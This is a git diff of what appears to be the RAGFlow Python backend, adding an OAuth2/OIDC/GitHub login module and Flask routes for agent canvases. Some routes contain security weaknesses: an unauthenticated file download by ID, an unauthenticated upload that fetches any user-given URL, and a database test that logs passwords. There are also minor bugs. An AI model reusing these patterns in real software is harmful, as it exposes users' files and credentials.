base64.b64encode(response).decode('utf-8') + data.append(data_type_picture) + break + except Exception as e: + return server_error_response(e) + + response = {"code": 200, "msg": "success", "data": data} + return response + + # ******************For dialog****************** + conv.message.append(msg[-1]) + e, dia = DialogService.get_by_id(conv.dialog_id) + if not e: + return get_data_error_result(message="Dialog not found!") + del req["conversation_id"] + + if not conv.reference: + conv.reference = [] + conv.message.append({"role": "assistant", "content": "", "id": message_id}) + conv.reference.append({"chunks": [], "doc_aggs": []}) + + data_type_picture = { + "type": 3, + "url": "base64 content" + } + data = [ + { + "type": 1, + "content": "" + } + ] + ans = "" + for a in chat(dia, msg, stream=False, **req): + ans = a + break + data[0]["content"] += re.sub(r'##\d\$\$', '', ans["answer"]) + fillin_conv(ans) + API4ConversationService.append_message(conv.id, conv.to_dict()) + + chunk_idxs = [int(match[2]) for match in re.findall(r'##\d\$\$', ans["answer"])] + for chunk_idx in chunk_idxs[:1]: + if ans["reference"]["chunks"][chunk_idx]["img_id"]: + try: + bkt, nm = ans["reference"]["chunks"][chunk_idx]["img_id"].split("-") + response = STORAGE_IMPL.get(bkt, nm) + data_type_picture["url"] = base64.b64encode(response).decode('utf-8') + data.append(data_type_picture) + break + except Exception as e: + return server_error_response(e) + + response = {"code": 200, "msg": "success", "data": data} + return response + + except Exception as e: + return server_error_response(e) + + +@manager.route('/retrieval', methods=['POST']) # noqa: F821 +@validate_request("kb_id", "question") +def retrieval(): + token = request.headers.get('Authorization').split()[1] + objs = APIToken.query(token=token) + if not objs: + return get_json_result( + data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR) + + req = request.json + kb_ids = req.get("kb_id", []) + doc_ids = req.get("doc_ids", []) + question = req.get("question") + page = int(req.get("page", 1)) + size = int(req.get("page_size", 30)) + similarity_threshold = float(req.get("similarity_threshold", 0.2)) + vector_similarity_weight = float(req.get("vector_similarity_weight", 0.3)) + top = int(req.get("top_k", 1024)) + highlight = bool(req.get("highlight", False)) + + try: + kbs = KnowledgebaseService.get_by_ids(kb_ids) + embd_nms = list(set([kb.embd_id for kb in kbs])) + if len(embd_nms) != 1: + return get_json_result( + data=False, message='Knowledge bases use different embedding models or does not exist."', + code=settings.RetCode.AUTHENTICATION_ERROR) + + embd_mdl = LLMBundle(kbs[0].tenant_id, LLMType.EMBEDDING, llm_name=kbs[0].embd_id) + rerank_mdl = None + if req.get("rerank_id"): + rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, llm_name=req["rerank_id"]) + if req.get("keyword", False): + chat_mdl = LLMBundle(kbs[0].tenant_id, LLMType.CHAT) + question += keyword_extraction(chat_mdl, question) + ranks = settings.retrievaler.retrieval(question, embd_mdl, kbs[0].tenant_id, kb_ids, page, size, + similarity_threshold, vector_similarity_weight, top, + doc_ids, rerank_mdl=rerank_mdl, highlight= highlight, + rank_feature=label_question(question, kbs)) + for c in ranks["chunks"]: + c.pop("vector", None) + return get_json_result(data=ranks) + except Exception as e: + if str(e).find("not_found") > 0: + return get_json_result(data=False, message='No chunk found! Check the chunk status please!', + code=settings.RetCode.DATA_ERROR) + return server_error_response(e) diff --git a/api/apps/auth/README.md b/api/apps/auth/README.md new file mode 100644 index 0000000..372e75c --- /dev/null +++ b/api/apps/auth/README.md @@ -0,0 +1,76 @@ +# Auth + +The Auth module provides implementations of OAuth2 and OpenID Connect (OIDC) authentication for integration with third-party identity providers. + +**Features** + +- Supports both OAuth2 and OIDC authentication protocols +- Automatic OIDC configuration discovery (via `/.well-known/openid-configuration`) +- JWT token validation +- Unified user information handling + +## Usage + +```python +# OAuth2 configuration +oauth_config = { + "type": "oauth2", + "client_id": "your_client_id", + "client_secret": "your_client_secret", + "authorization_url": "https://your-oauth-provider.com/oauth/authorize", + "token_url": "https://your-oauth-provider.com/oauth/token", + "userinfo_url": "https://your-oauth-provider.com/oauth/userinfo", + "redirect_uri": "https://your-app.com/v1/user/oauth/callback/" +} + +# OIDC configuration +oidc_config = { + "type": "oidc", + "issuer": "https://your-oauth-provider.com/oidc", + "client_id": "your_client_id", + "client_secret": "your_client_secret", + "redirect_uri": "https://your-app.com/v1/user/oauth/callback/" +} + +# Github OAuth configuration +github_config = { + "type": "github" + "client_id": "your_client_id", + "client_secret": "your_client_secret", + "redirect_uri": "https://your-app.com/v1/user/oauth/callback/" +} + +# Get client instance +client = get_auth_client(oauth_config) +``` + +### Authentication Flow + +1. Get authorization URL: +```python +auth_url = client.get_authorization_url() +``` + +2. After user authorization, exchange authorization code for token: +```python +token_response = client.exchange_code_for_token(authorization_code) +access_token = token_response["access_token"] +``` + +3. Fetch user information: +```python +user_info = client.fetch_user_info(access_token) +``` + +## User Information Structure + +All authentication methods return user information following this structure: + +```python +{ + "email": "user@example.com", + "username": "username", + "nickname": "User Name", + "avatar_url": "https://example.com/avatar.jpg" +} +``` diff --git a/api/apps/auth/__init__.py b/api/apps/auth/__init__.py new file mode 100644 index 0000000..f989b6d --- /dev/null +++ b/api/apps/auth/__init__.py @@ -0,0 +1,40 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from .oauth import OAuthClient +from .oidc import OIDCClient +from .github import GithubOAuthClient + + +CLIENT_TYPES = { + "oauth2": OAuthClient, + "oidc": OIDCClient, + "github": GithubOAuthClient +} + + +def get_auth_client(config)->OAuthClient: + channel_type = str(config.get("type", "")).lower() + if channel_type == "": + if config.get("issuer"): + channel_type = "oidc" + else: + channel_type = "oauth2" + client_class = CLIENT_TYPES.get(channel_type) + if not client_class: + raise ValueError(f"Unsupported type: {channel_type}") + + return client_class(config) diff --git a/api/apps/auth/github.py b/api/apps/auth/github.py new file mode 100644 index 0000000..5d46b27 --- /dev/null +++ b/api/apps/auth/github.py @@ -0,0 +1,63 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import requests +from .oauth import OAuthClient, UserInfo + + +class GithubOAuthClient(OAuthClient): + def __init__(self, config): + """ + Initialize the GithubOAuthClient with the provider's configuration. + """ + config.update({ + "authorization_url": "https://github.com/login/oauth/authorize", + "token_url": "https://github.com/login/oauth/access_token", + "userinfo_url": "https://api.github.com/user", + "scope": "user:email" + }) + super().__init__(config) + + + def fetch_user_info(self, access_token, **kwargs): + """ + Fetch github user info. + """ + user_info = {} + try: + headers = {"Authorization": f"Bearer {access_token}"} + # user info + response = requests.get(self.userinfo_url, headers=headers, timeout=self.http_request_timeout) + response.raise_for_status() + user_info.update(response.json()) + # email info + response = requests.get(self.userinfo_url+"/emails", headers=headers, timeout=self.http_request_timeout) + response.raise_for_status() + email_info = response.json() + user_info["email"] = next( + (email for email in email_info if email["primary"]), None + )["email"] + return self.normalize_user_info(user_info) + except requests.exceptions.RequestException as e: + raise ValueError(f"Failed to fetch github user info: {e}") + + + def normalize_user_info(self, user_info): + email = user_info.get("email") + username = user_info.get("login", str(email).split("@")[0]) + nickname = user_info.get("name", username) + avatar_url = user_info.get("avatar_url", "") + return UserInfo(email=email, username=username, nickname=nickname, avatar_url=avatar_url) diff --git a/api/apps/auth/oauth.py b/api/apps/auth/oauth.py new file mode 100644 index 0000000..6f7e0e5 --- /dev/null +++ b/api/apps/auth/oauth.py @@ -0,0 +1,110 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import requests +import urllib.parse + + +class UserInfo: + def __init__(self, email, username, nickname, avatar_url): + self.email = email + self.username = username + self.nickname = nickname + self.avatar_url = avatar_url + + def to_dict(self): + return {key: value for key, value in self.__dict__.items()} + + +class OAuthClient: + def __init__(self, config): + """ + Initialize the OAuthClient with the provider's configuration. + """ + self.client_id = config["client_id"] + self.client_secret = config["client_secret"] + self.authorization_url = config["authorization_url"] + self.token_url = config["token_url"] + self.userinfo_url = config["userinfo_url"] + self.redirect_uri = config["redirect_uri"] + self.scope = config.get("scope", None) + + self.http_request_timeout = 7 + + + def get_authorization_url(self, state=None): + """ + Generate the authorization URL for user login. + """ + params = { + "client_id": self.client_id, + "redirect_uri": self.redirect_uri, + "response_type": "code", + } + if self.scope: + params["scope"] = self.scope + if state: + params["state"] = state + authorization_url = f"{self.authorization_url}?{urllib.parse.urlencode(params)}" + return authorization_url + + + def exchange_code_for_token(self, code): + """ + Exchange authorization code for access token. + """ + try: + payload = { + "client_id": self.client_id, + "client_secret": self.client_secret, + "code": code, + "redirect_uri": self.redirect_uri, + "grant_type": "authorization_code" + } + response = requests.post( + self.token_url, + data=payload, + headers={"Accept": "application/json"}, + timeout=self.http_request_timeout + ) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + raise ValueError(f"Failed to exchange authorization code for token: {e}") + + + def fetch_user_info(self, access_token, **kwargs): + """ + Fetch user information using access token. + """ + try: + headers = {"Authorization": f"Bearer {access_token}"} + response = requests.get(self.userinfo_url, headers=headers, timeout=self.http_request_timeout) + response.raise_for_status() + user_info = response.json() + return self.normalize_user_info(user_info) + except requests.exceptions.RequestException as e: + raise ValueError(f"Failed to fetch user info: {e}") + + + def normalize_user_info(self, user_info): + email = user_info.get("email") + username = user_info.get("username", str(email).split("@")[0]) + nickname = user_info.get("nickname", username) + avatar_url = user_info.get("avatar_url", None) + if avatar_url is None: + avatar_url = user_info.get("picture", "") + return UserInfo(email=email, username=username, nickname=nickname, avatar_url=avatar_url) diff --git a/api/apps/auth/oidc.py b/api/apps/auth/oidc.py new file mode 100644 index 0000000..9c59ffa --- /dev/null +++ b/api/apps/auth/oidc.py @@ -0,0 +1,99 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import jwt +import requests +from .oauth import OAuthClient + + +class OIDCClient(OAuthClient): + def __init__(self, config): + """ + Initialize the OIDCClient with the provider's configuration. + Use `issuer` as the single source of truth for configuration discovery. + """ + self.issuer = config.get("issuer") + if not self.issuer: + raise ValueError("Missing issuer in configuration.") + + oidc_metadata = self._load_oidc_metadata(self.issuer) + config.update({ + 'issuer': oidc_metadata['issuer'], + 'jwks_uri': oidc_metadata['jwks_uri'], + 'authorization_url': oidc_metadata['authorization_endpoint'], + 'token_url': oidc_metadata['token_endpoint'], + 'userinfo_url': oidc_metadata['userinfo_endpoint'] + }) + + super().__init__(config) + self.issuer = config['issuer'] + self.jwks_uri = config['jwks_uri'] + + + def _load_oidc_metadata(self, issuer): + """ + Load OIDC metadata from `/.well-known/openid-configuration`. + """ + try: + metadata_url = f"{issuer}/.well-known/openid-configuration" + response = requests.get(metadata_url, timeout=7) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + raise ValueError(f"Failed to fetch OIDC metadata: {e}") + + + def parse_id_token(self, id_token): + """ + Parse and validate OIDC ID Token (JWT format) with signature verification. + """ + try: + # Decode JWT header without verifying signature + headers = jwt.get_unverified_header(id_token) + + # OIDC usually uses `RS256` for signing + alg = headers.get("alg", "RS256") + + # Use PyJWT's PyJWKClient to fetch JWKS and find signing key + jwks_cli = jwt.PyJWKClient(self.jwks_uri) + signing_key = jwks_cli.get_signing_key_from_jwt(id_token).key + + # Decode and verify signature + decoded_token = jwt.decode( + id_token, + key=signing_key, + algorithms=[alg], + audience=str(self.client_id), + issuer=self.issuer, + ) + return decoded_token + except Exception as e: + raise ValueError(f"Error parsing ID Token: {e}") + + + def fetch_user_info(self, access_token, id_token=None, **kwargs): + """ + Fetch user info. + """ + user_info = {} + if id_token: + user_info = self.parse_id_token(id_token) + user_info.update(super().fetch_user_info(access_token).to_dict()) + return self.normalize_user_info(user_info) + + + def normalize_user_info(self, user_info): + return super().normalize_user_info(user_info) diff --git a/api/apps/canvas_app.py b/api/apps/canvas_app.py new file mode 100644 index 0000000..c3d4dd8 --- /dev/null +++ b/api/apps/canvas_app.py @@ -0,0 +1,564 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import re +import sys +from functools import partial + +import flask +import trio +from flask import request, Response +from flask_login import login_required, current_user + +from agent.component import LLM +from api import settings +from api.db import CanvasCategory, FileType +from api.db.services.canvas_service import CanvasTemplateService, UserCanvasService, API4ConversationService +from api.db.services.document_service import DocumentService +from api.db.services.file_service import FileService +from api.db.services.pipeline_operation_log_service import PipelineOperationLogService +from api.db.services.task_service import queue_dataflow, CANVAS_DEBUG_DOC_ID, TaskService +from api.db.services.user_service import TenantService +from api.db.services.user_canvas_version import UserCanvasVersionService +from api.settings import RetCode +from api.utils import get_uuid +from api.utils.api_utils import get_json_result, server_error_response, validate_request, get_data_error_result +from agent.canvas import Canvas +from peewee import MySQLDatabase, PostgresqlDatabase +from api.db.db_models import APIToken, Task +import time + +from api.utils.file_utils import filename_type, read_potential_broken_pdf +from rag.flow.pipeline import Pipeline +from rag.nlp import search +from rag.utils.redis_conn import REDIS_CONN + + +@manager.route('/templates', methods=['GET']) # noqa: F821 +@login_required +def templates(): + return get_json_result(data=[c.to_dict() for c in CanvasTemplateService.query(canvas_category=CanvasCategory.Agent)]) + + +@manager.route('/rm', methods=['POST']) # noqa: F821 +@validate_request("canvas_ids") +@login_required +def rm(): + for i in request.json["canvas_ids"]: + if not UserCanvasService.accessible(i, current_user.id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + UserCanvasService.delete_by_id(i) + return get_json_result(data=True) + + +@manager.route('/set', methods=['POST']) # noqa: F821 +@validate_request("dsl", "title") +@login_required +def save(): + req = request.json + if not isinstance(req["dsl"], str): + req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False) + req["dsl"] = json.loads(req["dsl"]) + cate = req.get("canvas_category", CanvasCategory.Agent) + if "id" not in req: + req["user_id"] = current_user.id + if UserCanvasService.query(user_id=current_user.id, title=req["title"].strip(), canvas_category=cate): + return get_data_error_result(message=f"{req['title'].strip()} already exists.") + req["id"] = get_uuid() + if not UserCanvasService.save(**req): + return get_data_error_result(message="Fail to save canvas.") + else: + if not UserCanvasService.accessible(req["id"], current_user.id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + UserCanvasService.update_by_id(req["id"], req) + # save version + UserCanvasVersionService.insert(user_canvas_id=req["id"], dsl=req["dsl"], title="{0}_{1}".format(req["title"], time.strftime("%Y_%m_%d_%H_%M_%S"))) + UserCanvasVersionService.delete_all_versions(req["id"]) + return get_json_result(data=req) + + +@manager.route('/get/', methods=['GET']) # noqa: F821 +@login_required +def get(canvas_id): + if not UserCanvasService.accessible(canvas_id, current_user.id): + return get_data_error_result(message="canvas not found.") + e, c = UserCanvasService.get_by_canvas_id(canvas_id) + return get_json_result(data=c) + + +@manager.route('/getsse/', methods=['GET']) # type: ignore # noqa: F821 +def getsse(canvas_id): + token = request.headers.get('Authorization').split() + if len(token) != 2: + return get_data_error_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_data_error_result(message='Authentication error: API key is invalid!"') + tenant_id = objs[0].tenant_id + if not UserCanvasService.query(user_id=tenant_id, id=canvas_id): + return get_json_result( + data=False, + message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR + ) + e, c = UserCanvasService.get_by_id(canvas_id) + if not e or c.user_id != tenant_id: + return get_data_error_result(message="canvas not found.") + return get_json_result(data=c.to_dict()) + + +@manager.route('/completion', methods=['POST']) # noqa: F821 +@validate_request("id") +@login_required +def run(): + req = request.json + query = req.get("query", "") + files = req.get("files", []) + inputs = req.get("inputs", {}) + user_id = req.get("user_id", current_user.id) + if not UserCanvasService.accessible(req["id"], current_user.id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + + e, cvs = UserCanvasService.get_by_id(req["id"]) + if not e: + return get_data_error_result(message="canvas not found.") + + if not isinstance(cvs.dsl, str): + cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False) + + if cvs.canvas_category == CanvasCategory.DataFlow: + task_id = get_uuid() + Pipeline(cvs.dsl, tenant_id=current_user.id, doc_id=CANVAS_DEBUG_DOC_ID, task_id=task_id, flow_id=req["id"]) + ok, error_message = queue_dataflow(tenant_id=user_id, flow_id=req["id"], task_id=task_id, file=files[0], priority=0) + if not ok: + return get_data_error_result(message=error_message) + return get_json_result(data={"message_id": task_id}) + + try: + canvas = Canvas(cvs.dsl, current_user.id, req["id"]) + except Exception as e: + return server_error_response(e) + + def sse(): + nonlocal canvas, user_id + try: + for ans in canvas.run(query=query, files=files, user_id=user_id, inputs=inputs): + yield "data:" + json.dumps(ans, ensure_ascii=False) + "\n\n" + + cvs.dsl = json.loads(str(canvas)) + UserCanvasService.update_by_id(req["id"], cvs.to_dict()) + except Exception as e: + logging.exception(e) + yield "data:" + json.dumps({"code": 500, "message": str(e), "data": False}, ensure_ascii=False) + "\n\n" + + resp = Response(sse(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + +@manager.route('/rerun', methods=['POST']) # noqa: F821 +@validate_request("id", "dsl", "component_id") +@login_required +def rerun(): + req = request.json + doc = PipelineOperationLogService.get_documents_info(req["id"]) + if not doc: + return get_data_error_result(message="Document not found.") + doc = doc[0] + if 0 < doc["progress"] < 1: + return get_data_error_result(message=f"`{doc['name']}` is processing...") + + if settings.docStoreConn.indexExist(search.index_name(current_user.id), doc["kb_id"]): + settings.docStoreConn.delete({"doc_id": doc["id"]}, search.index_name(current_user.id), doc["kb_id"]) + doc["progress_msg"] = "" + doc["chunk_num"] = 0 + doc["token_num"] = 0 + DocumentService.clear_chunk_num_when_rerun(doc["id"]) + DocumentService.update_by_id(id, doc) + TaskService.filter_delete([Task.doc_id == id]) + + dsl = req["dsl"] + dsl["path"] = [req["component_id"]] + PipelineOperationLogService.update_by_id(req["id"], {"dsl": dsl}) + queue_dataflow(tenant_id=current_user.id, flow_id=req["id"], task_id=get_uuid(), doc_id=doc["id"], priority=0, rerun=True) + return get_json_result(data=True) + + +@manager.route('/cancel/', methods=['PUT']) # noqa: F821 +@login_required +def cancel(task_id): + try: + REDIS_CONN.set(f"{task_id}-cancel", "x") + except Exception as e: + logging.exception(e) + return get_json_result(data=True) + + +@manager.route('/reset', methods=['POST']) # noqa: F821 +@validate_request("id") +@login_required +def reset(): + req = request.json + if not UserCanvasService.accessible(req["id"], current_user.id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + try: + e, user_canvas = UserCanvasService.get_by_id(req["id"]) + if not e: + return get_data_error_result(message="canvas not found.") + + canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id) + canvas.reset() + req["dsl"] = json.loads(str(canvas)) + UserCanvasService.update_by_id(req["id"], {"dsl": req["dsl"]}) + return get_json_result(data=req["dsl"]) + except Exception as e: + return server_error_response(e) + + +@manager.route("/upload/", methods=["POST"]) # noqa: F821 +def upload(canvas_id): + e, cvs = UserCanvasService.get_by_canvas_id(canvas_id) + if not e: + return get_data_error_result(message="canvas not found.") + + user_id = cvs["user_id"] + def structured(filename, filetype, blob, content_type): + nonlocal user_id + if filetype == FileType.PDF.value: + blob = read_potential_broken_pdf(blob) + + location = get_uuid() + FileService.put_blob(user_id, location, blob) + + return { + "id": location, + "name": filename, + "size": sys.getsizeof(blob), + "extension": filename.split(".")[-1].lower(), + "mime_type": content_type, + "created_by": user_id, + "created_at": time.time(), + "preview_url": None + } + + if request.args.get("url"): + from crawl4ai import ( + AsyncWebCrawler, + BrowserConfig, + CrawlerRunConfig, + DefaultMarkdownGenerator, + PruningContentFilter, + CrawlResult + ) + try: + url = request.args.get("url") + filename = re.sub(r"\?.*", "", url.split("/")[-1]) + async def adownload(): + browser_config = BrowserConfig( + headless=True, + verbose=False, + ) + async with AsyncWebCrawler(config=browser_config) as crawler: + crawler_config = CrawlerRunConfig( + markdown_generator=DefaultMarkdownGenerator( + content_filter=PruningContentFilter() + ), + pdf=True, + screenshot=False + ) + result: CrawlResult = await crawler.arun( + url=url, + config=crawler_config + ) + return result + page = trio.run(adownload()) + if page.pdf: + if filename.split(".")[-1].lower() != "pdf": + filename += ".pdf" + return get_json_result(data=structured(filename, "pdf", page.pdf, page.response_headers["content-type"])) + + return get_json_result(data=structured(filename, "html", str(page.markdown).encode("utf-8"), page.response_headers["content-type"], user_id)) + + except Exception as e: + return server_error_response(e) + + file = request.files['file'] + try: + DocumentService.check_doc_health(user_id, file.filename) + return get_json_result(data=structured(file.filename, filename_type(file.filename), file.read(), file.content_type)) + except Exception as e: + return server_error_response(e) + + +@manager.route('/input_form', methods=['GET']) # noqa: F821 +@login_required +def input_form(): + cvs_id = request.args.get("id") + cpn_id = request.args.get("component_id") + try: + e, user_canvas = UserCanvasService.get_by_id(cvs_id) + if not e: + return get_data_error_result(message="canvas not found.") + if not UserCanvasService.query(user_id=current_user.id, id=cvs_id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + + canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id) + return get_json_result(data=canvas.get_component_input_form(cpn_id)) + except Exception as e: + return server_error_response(e) + + +@manager.route('/debug', methods=['POST']) # noqa: F821 +@validate_request("id", "component_id", "params") +@login_required +def debug(): + req = request.json + if not UserCanvasService.accessible(req["id"], current_user.id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + try: + e, user_canvas = UserCanvasService.get_by_id(req["id"]) + canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id) + canvas.reset() + canvas.message_id = get_uuid() + component = canvas.get_component(req["component_id"])["obj"] + component.reset() + + if isinstance(component, LLM): + component.set_debug_inputs(req["params"]) + component.invoke(**{k: o["value"] for k,o in req["params"].items()}) + outputs = component.output() + for k in outputs.keys(): + if isinstance(outputs[k], partial): + txt = "" + for c in outputs[k](): + txt += c + outputs[k] = txt + return get_json_result(data=outputs) + except Exception as e: + return server_error_response(e) + + +@manager.route('/test_db_connect', methods=['POST']) # noqa: F821 +@validate_request("db_type", "database", "username", "host", "port", "password") +@login_required +def test_db_connect(): + req = request.json + try: + if req["db_type"] in ["mysql", "mariadb"]: + db = MySQLDatabase(req["database"], user=req["username"], host=req["host"], port=req["port"], + password=req["password"]) + elif req["db_type"] == 'postgres': + db = PostgresqlDatabase(req["database"], user=req["username"], host=req["host"], port=req["port"], + password=req["password"]) + elif req["db_type"] == 'mssql': + import pyodbc + connection_string = ( + f"DRIVER={{ODBC Driver 17 for SQL Server}};" + f"SERVER={req['host']},{req['port']};" + f"DATABASE={req['database']};" + f"UID={req['username']};" + f"PWD={req['password']};" + ) + db = pyodbc.connect(connection_string) + cursor = db.cursor() + cursor.execute("SELECT 1") + cursor.close() + elif req["db_type"] == 'IBM DB2': + import ibm_db + conn_str = ( + f"DATABASE={req['database']};" + f"HOSTNAME={req['host']};" + f"PORT={req['port']};" + f"PROTOCOL=TCPIP;" + f"UID={req['username']};" + f"PWD={req['password']};" + ) + logging.info(conn_str) + conn = ibm_db.connect(conn_str, "", "") + stmt = ibm_db.exec_immediate(conn, "SELECT 1 FROM sysibm.sysdummy1") + ibm_db.fetch_assoc(stmt) + ibm_db.close(conn) + return get_json_result(data="Database Connection Successful!") + else: + return server_error_response("Unsupported database type.") + if req["db_type"] != 'mssql': + db.connect() + db.close() + + return get_json_result(data="Database Connection Successful!") + except Exception as e: + return server_error_response(e) + + +#api get list version dsl of canvas +@manager.route('/getlistversion/', methods=['GET']) # noqa: F821 +@login_required +def getlistversion(canvas_id): + try: + list =sorted([c.to_dict() for c in UserCanvasVersionService.list_by_canvas_id(canvas_id)], key=lambda x: x["update_time"]*-1) + return get_json_result(data=list) + except Exception as e: + return get_data_error_result(message=f"Error getting history files: {e}") + + +#api get version dsl of canvas +@manager.route('/getversion/', methods=['GET']) # noqa: F821 +@login_required +def getversion( version_id): + try: + + e, version = UserCanvasVersionService.get_by_id(version_id) + if version: + return get_json_result(data=version.to_dict()) + except Exception as e: + return get_json_result(data=f"Error getting history file: {e}") + + +@manager.route('/list', methods=['GET']) # noqa: F821 +@login_required +def list_canvas(): + keywords = request.args.get("keywords", "") + page_number = int(request.args.get("page", 0)) + items_per_page = int(request.args.get("page_size", 0)) + orderby = request.args.get("orderby", "create_time") + canvas_category = request.args.get("canvas_category") + if request.args.get("desc", "true").lower() == "false": + desc = False + else: + desc = True + owner_ids = [id for id in request.args.get("owner_ids", "").strip().split(",") if id] + if not owner_ids: + tenants = TenantService.get_joined_tenants_by_user_id(current_user.id) + tenants = [m["tenant_id"] for m in tenants] + tenants.append(current_user.id) + canvas, total = UserCanvasService.get_by_tenant_ids( + tenants, current_user.id, page_number, + items_per_page, orderby, desc, keywords, canvas_category) + else: + tenants = owner_ids + canvas, total = UserCanvasService.get_by_tenant_ids( + tenants, current_user.id, 0, + 0, orderby, desc, keywords, canvas_category) + return get_json_result(data={"canvas": canvas, "total": total}) + + +@manager.route('/setting', methods=['POST']) # noqa: F821 +@validate_request("id", "title", "permission") +@login_required +def setting(): + req = request.json + req["user_id"] = current_user.id + + if not UserCanvasService.accessible(req["id"], current_user.id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + + e,flow = UserCanvasService.get_by_id(req["id"]) + if not e: + return get_data_error_result(message="canvas not found.") + flow = flow.to_dict() + flow["title"] = req["title"] + + for key in ["description", "permission", "avatar"]: + if value := req.get(key): + flow[key] = value + + num= UserCanvasService.update_by_id(req["id"], flow) + return get_json_result(data=num) + + +@manager.route('/trace', methods=['GET']) # noqa: F821 +def trace(): + cvs_id = request.args.get("canvas_id") + msg_id = request.args.get("message_id") + try: + bin = REDIS_CONN.get(f"{cvs_id}-{msg_id}-logs") + if not bin: + return get_json_result(data={}) + + return get_json_result(data=json.loads(bin.encode("utf-8"))) + except Exception as e: + logging.exception(e) + + +@manager.route('//sessions', methods=['GET']) # noqa: F821 +@login_required +def sessions(canvas_id): + tenant_id = current_user.id + if not UserCanvasService.accessible(canvas_id, tenant_id): + return get_json_result( + data=False, message='Only owner of canvas authorized for this operation.', + code=RetCode.OPERATING_ERROR) + + user_id = request.args.get("user_id") + page_number = int(request.args.get("page", 1)) + items_per_page = int(request.args.get("page_size", 30)) + keywords = request.args.get("keywords") + from_date = request.args.get("from_date") + to_date = request.args.get("to_date") + orderby = request.args.get("orderby", "update_time") + if request.args.get("desc") == "False" or request.args.get("desc") == "false": + desc = False + else: + desc = True + # dsl defaults to True in all cases except for False and false + include_dsl = request.args.get("dsl") != "False" and request.args.get("dsl") != "false" + total, sess = API4ConversationService.get_list(canvas_id, tenant_id, page_number, items_per_page, orderby, desc, + None, user_id, include_dsl, keywords, from_date, to_date) + try: + return get_json_result(data={"total": total, "sessions": sess}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/prompts', methods=['GET']) # noqa: F821 +@login_required +def prompts(): + from rag.prompts.generator import ANALYZE_TASK_SYSTEM, ANALYZE_TASK_USER, NEXT_STEP, REFLECT, CITATION_PROMPT_TEMPLATE + return get_json_result(data={ + "task_analysis": ANALYZE_TASK_SYSTEM +"\n\n"+ ANALYZE_TASK_USER, + "plan_generation": NEXT_STEP, + "reflection": REFLECT, + #"context_summary": SUMMARY4MEMORY, + #"context_ranking": RANK_MEMORY, + "citation_guidelines": CITATION_PROMPT_TEMPLATE + }) + + +@manager.route('/download', methods=['GET']) # noqa: F821 +def download(): + id = request.args.get("id") + created_by = request.args.get("created_by") + blob = FileService.get_blob(created_by, id) + return flask.make_response(blob) \ No newline at end of file diff --git a/api/apps/chunk_app.py b/api/apps/chunk_app.py new file mode 100644 index 0000000..bfd80ea --- /dev/null +++ b/api/apps/chunk_app.py @@ -0,0 +1,415 @@ 